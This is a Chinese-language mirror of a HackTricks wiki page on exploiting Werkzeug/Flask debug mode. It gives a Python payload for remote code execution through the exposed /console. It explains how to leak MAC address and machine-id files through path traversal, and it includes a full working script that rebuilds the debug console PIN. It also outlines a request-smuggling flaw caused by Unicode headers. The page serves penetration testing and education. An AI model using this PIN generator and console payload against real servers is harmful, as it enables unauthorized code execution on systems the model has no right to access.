mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
168 lines
6.5 KiB
Markdown
168 lines
6.5 KiB
Markdown
# Werkzeug / Flask 调试
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 控制台 RCE
|
||
|
||
如果调试处于活动状态,您可以尝试访问 `/console` 并获得 RCE。
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
.png>)
|
||
|
||
互联网上还有几个漏洞,比如[这个](https://github.com/its-arun/Werkzeug-Debug-RCE)或metasploit中的一个。
|
||
|
||
## Pin 保护 - 路径遍历
|
||
|
||
在某些情况下,**`/console`** 端点将受到 pin 的保护。如果你有 **文件遍历漏洞**,你可以泄露生成该 pin 所需的所有信息。
|
||
|
||
### Werkzeug 控制台 PIN 漏洞
|
||
|
||
在应用程序中强制出现调试错误页面以查看此内容:
|
||
```
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
当尝试访问 Werkzeug 的调试接口时,会遇到关于“控制台锁定”场景的消息,指示需要一个 PIN 来解锁控制台。建议通过分析 Werkzeug 的调试初始化文件 (`__init__.py`) 中的 PIN 生成算法来利用控制台 PIN。可以从 [**Werkzeug 源代码库**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) 研究 PIN 生成机制,但建议通过文件遍历漏洞获取实际服务器代码,以避免潜在的版本差异。
|
||
|
||
要利用控制台 PIN,需要两组变量,`probably_public_bits` 和 `private_bits`:
|
||
|
||
#### **`probably_public_bits`**
|
||
|
||
- **`username`**: 指发起 Flask 会话的用户。
|
||
- **`modname`**: 通常指定为 `flask.app`。
|
||
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: 通常解析为 **Flask**。
|
||
- **`getattr(mod, '__file__', None)`**: 表示 Flask 目录中 `app.py` 的完整路径(例如,`/usr/local/lib/python3.5/dist-packages/flask/app.py`)。如果 `app.py` 不适用,**尝试 `app.pyc`**。
|
||
|
||
#### **`private_bits`**
|
||
|
||
- **`uuid.getnode()`**: 获取当前机器的 MAC 地址,`str(uuid.getnode())` 将其转换为十进制格式。
|
||
|
||
- 要 **确定服务器的 MAC 地址**,必须识别应用使用的活动网络接口(例如,`ens3`)。如果不确定,**泄露 `/proc/net/arp`** 以找到设备 ID,然后 **从 `/sys/class/net/<device id>/address`** 中提取 MAC 地址。
|
||
- 将十六进制 MAC 地址转换为十进制可以如下进行:
|
||
|
||
```python
|
||
# 示例 MAC 地址: 56:00:02:7a:23:ac
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
|
||
- **`get_machine_id()`**: 将 `/etc/machine-id` 或 `/proc/sys/kernel/random/boot_id` 中的数据与 `/proc/self/cgroup` 的第一行在最后一个斜杠(`/`)之后的部分连接起来。
|
||
|
||
<details>
|
||
|
||
<summary>代码 `get_machine_id()`</summary>
|
||
```python
|
||
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
|
||
global _machine_id
|
||
|
||
if _machine_id is not None:
|
||
return _machine_id
|
||
|
||
def _generate() -> t.Optional[t.Union[str, bytes]]:
|
||
linux = b""
|
||
|
||
# machine-id is stable across boots, boot_id is not.
|
||
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
|
||
try:
|
||
with open(filename, "rb") as f:
|
||
value = f.readline().strip()
|
||
except OSError:
|
||
continue
|
||
|
||
if value:
|
||
linux += value
|
||
break
|
||
|
||
# Containers share the same machine id, add some cgroup
|
||
# information. This is used outside containers too but should be
|
||
# relatively stable across boots.
|
||
try:
|
||
with open("/proc/self/cgroup", "rb") as f:
|
||
linux += f.readline().strip().rpartition(b"/")[2]
|
||
except OSError:
|
||
pass
|
||
|
||
if linux:
|
||
return linux
|
||
|
||
# On OS X, use ioreg to get the computer's serial number.
|
||
try:
|
||
```
|
||
</details>
|
||
|
||
在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN:
|
||
|
||
在收集所有必要数据后,可以执行漏洞利用脚本以生成 Werkzeug 控制台 PIN。该脚本使用组装的 `probably_public_bits` 和 `private_bits` 创建哈希,然后经过进一步处理以生成最终 PIN。以下是执行此过程的 Python 代码:
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user', # username
|
||
'flask.app', # modname
|
||
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
|
||
h = hashlib.sha1()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
# h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv = None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
该脚本通过对连接的位进行哈希,添加特定的盐(`cookiesalt` 和 `pinsalt`),并格式化输出,生成 PIN。需要注意的是,`probably_public_bits` 和 `private_bits` 的实际值需要从目标系统准确获取,以确保生成的 PIN 与 Werkzeug 控制台预期的匹配。
|
||
|
||
> [!TIP]
|
||
> 如果您使用的是 **旧版本** 的 Werkzeug,请尝试将 **哈希算法更改为 md5** 而不是 sha1。
|
||
|
||
## Werkzeug Unicode 字符
|
||
|
||
正如在 [**这个问题**](https://github.com/pallets/werkzeug/issues/2833) 中观察到的,Werkzeug 不会关闭带有 Unicode 字符的请求头。正如在 [**这篇文章**](https://mizu.re/post/twisty-python) 中解释的,这可能导致 CL.0 请求走私漏洞。
|
||
|
||
这是因为,在 Werkzeug 中可以发送一些 **Unicode** 字符,这会导致服务器 **崩溃**。然而,如果 HTTP 连接是使用 **`Connection: keep-alive`** 头创建的,请求的主体将不会被读取,连接仍将保持打开状态,因此请求的 **主体** 将被视为 **下一个 HTTP 请求**。
|
||
|
||
## 自动化利用
|
||
|
||
{{#ref}}
|
||
https://github.com/Ruulian/wconsole_extractor
|
||
{{#endref}}
|
||
|
||
## 参考文献
|
||
|
||
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
|
||
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
|
||
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|